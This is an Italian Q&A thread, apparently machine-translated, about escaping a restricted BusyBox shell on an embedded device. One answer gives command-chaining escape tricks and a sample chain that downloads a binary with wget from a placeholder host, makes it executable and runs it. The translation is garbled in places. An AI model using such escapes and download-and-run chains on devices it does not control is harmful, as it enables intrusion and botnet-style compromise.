Shell BusyBox limitata

Sto testando un dispositivo incorporato e manca la documentazione. Quando telnet al dispositivo, ottengo solo una shell limitata.

BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait 

Questa è una shell limitata, non è chiaro, come entrare nella shell completa?

Risposta

  • Il comando di cui hai bisogno è chsh (cambia shell) – fa parte del shadow o shadow-utils pacchetto.
  • Puoi anche modificare manualmente /etc/password per cambiare la shell da /bin/ash a qualcosaltro:

    BUT => fai molta attenzione che esista la nuova shell o la bloccherai te stesso !!!


Dovrai essere root per eseguire una delle operazioni precedenti.

Answer

BusyBox si concentra principalmente sullottimizzazione delle dimensioni e i comandi potrebbero essere ecc luso / incluso durante la compilazione. Quindi, senza fornire ulteriori informazioni, sembra essere un insieme molto limitato di componenti installati .

Tuttavia, dovrebbe essere chiaro che questo non significa che il firmware del dispositivo non supporti utilità specifiche di per sé. Se questo non è del tutto chiaro, dovresti dare unocchiata alla sezione FAQ – Cosè Busybox . Alcune citazioni dovrebbero renderlo completamente chiaro:

“Posso abilitare FTP?” – “Non sappiamo se il firmware Foomatic-9000 viene fornito con il binario Busybox con applet ftpd abilitata. (Se hai accesso al prompt della shell, prova a eseguire “busybox ftpd –help”). Se lo fa, probabilmente sarai in grado di abilitarlo. Sfortunatamente, non sappiamo come il firmware Foomatic-9000 gestisca lavvio e larresto di vari servizi (nel caso in cui abbiano già il servizio ftpd ed è solo disabilitato), o come creare e abilitare un nuovo servizio su Foomatic-9000 (se hanno no). Prova a cercarlo su Google. “

” Posso abilitare SCP? ” – “Busybox-1.23.4 non ha lapplet scp. Tuttavia, Foomatic-9000 potrebbe avere scp installato (ad esempio, se hanno installato dropbear), e potrebbe essere possibile abilitarlo. In caso contrario, potrebbe essere possibile compilare e installa il tuo strumento scp. Prova a cercarlo su Google. “

Probabilmente dovresti concentrarti di più sul dispositivo specifico e sul firmware installato, piuttosto che concentrarti sul limitato insieme di componenti collegati a Busybox stesso.

Commenti

  • ok, comando cli dimenticato.

risposta

Sfortunatamente per te, oggigiorno la maggior parte dei dispositivi embedded (es. router, dispositivi iot, ecc.) cerca di impedire agli utenti di accedere al sistema interno in modo che possano “T hackerarlo o modificarlo. Questa è una misura per impedire il lavoro di botnet come mirai, sebbene le protezioni non siano sempre molto efficaci.

Una shell busybox limitata è uno scenario molto comune. Fortunatamente, parlando in generale, busybox richiede una shell sottostante se presente ” s qualsiasi tipo di interfaccia utente (come telnet o ssh). Ciò significa che potrebbe essere possibile bypassare quella shell ed eseguire comandi sulla shell sottostante (ad esempio / bin / sh è molto comune).

Prima di tentare di uscire dalla sandbox busybox, è necessario avere in considerazione il seguente:

  • Il produttore potrebbe aver modificato la shell busybox per patchare queste tecniche
  • La shell sottostante può essere una shell (completa o parziale) non privilegiata. Ciò significa che anche se riesci a eseguire comandi su di essa, potrebbero non funzionare o dirti che non hai abbastanza diritti.
  • La shell sottostante potrebbe essere anche unaltra shell limitata (non comune)

Una volta che sei pronto, puoi provare i seguenti “trucchi”: (Tutto dipende dagli operatori di shell)

Prova cose come

echo "Hello World" & <your command> 

Questo eseguirà il tuo comando se:

  1. Il binario è disponibile (quindi fondamentalmente se è installato nel sistema)
  2. La shell ha accesso ad essa (privilegi)

Ci sono altri metodi come:

echo "Hello World" `your command` echo "Hello World" || <your command> 

E altre varianti puoi trovare su Internet o provare da solo.

EDIT: sto modificando per aggiungere un esempio di come potresti uscire dalla shell e ottenere ulteriori esecuzioni.

echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary 

o direttamente ./yourbinary

Questa è lidea. Per quanto riguarda il chmod mi dispiace ma non ricordo gli argomenti esatti per dare i permessi di esecuzione.

EDIT2: Ho notato che la tua shell dice ash, quindi probabilmente busybox è stato eseguito da uno script (automatizzato) in esecuzione dalla cenere. In questo caso, vorresti eseguire direttamente i comandi sulla shell / bin / ash.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *